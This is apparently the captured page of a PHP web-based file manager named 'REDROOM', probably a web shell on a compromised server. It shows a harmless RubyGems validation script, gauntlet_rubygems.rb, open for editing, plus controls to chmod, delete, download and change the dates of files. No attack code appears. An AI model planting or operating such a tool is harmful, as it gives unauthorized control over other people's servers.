REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.38 KB
Close
//proc/thread-self/root/opt/alt/ruby18/lib64/ruby/site_ruby/1.8/gauntlet_rubygems.rb
Text
Base64
require 'rubygems' require 'gauntlet' ## # GemGauntlet validates all current gems. Currently these packages are # borked: # # Asami-0.04 : No such file or directory - bin/Asami.rb # ObjectGraph-1.0.1 : No such file or directory - bin/objectgraph # evil-ruby-0.1.0 : authors must be Array of Strings # fresh_cookies-1.0.0 : authors must be Array of Strings # plugems_deploy-0.2.0 : authors must be Array of Strings # pmsrb-0.2.0 : authors must be Array of Strings # pqa-1.6 : authors must be Array of Strings # rant-0.5.7 : authors must be Array of Strings # rvsh-0.4.5 : No such file or directory - bin/rvsh # xen-0.1.2.1 : authors must be Array of Strings class GemGauntlet < Gauntlet def run(name) warn name spec = begin Gem::Specification.load 'gemspec' rescue SyntaxError Gem::Specification.from_yaml File.read('gemspec') end spec.validate self.data[name] = false self.dirty = true rescue SystemCallError, Gem::InvalidSpecificationException => e self.data[name] = e.message self.dirty = true end def should_skip?(name) self.data[name] == false end def report self.data.sort.reject { |k,v| !v }.each do |k,v| puts "%-21s: %s" % [k, v] end end end gauntlet = GemGauntlet.new gauntlet.run_the_gauntlet ARGV.shift gauntlet.report
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 2 × Files: 3
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
rbconfig
DIR
-
drwxr-xr-x
2024-03-03 22:48:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rubygems
DIR
-
drwxr-xr-x
2024-03-03 22:48:18
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
gauntlet_rubygems.rb
1.38 KB
lrw-r--r--
2019-12-05 22:13:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
rubygems.rb
34.13 KB
lrw-r--r--
2019-12-05 22:13:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
ubygems.rb
268 B
lrw-r--r--
2019-12-05 22:13:01
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).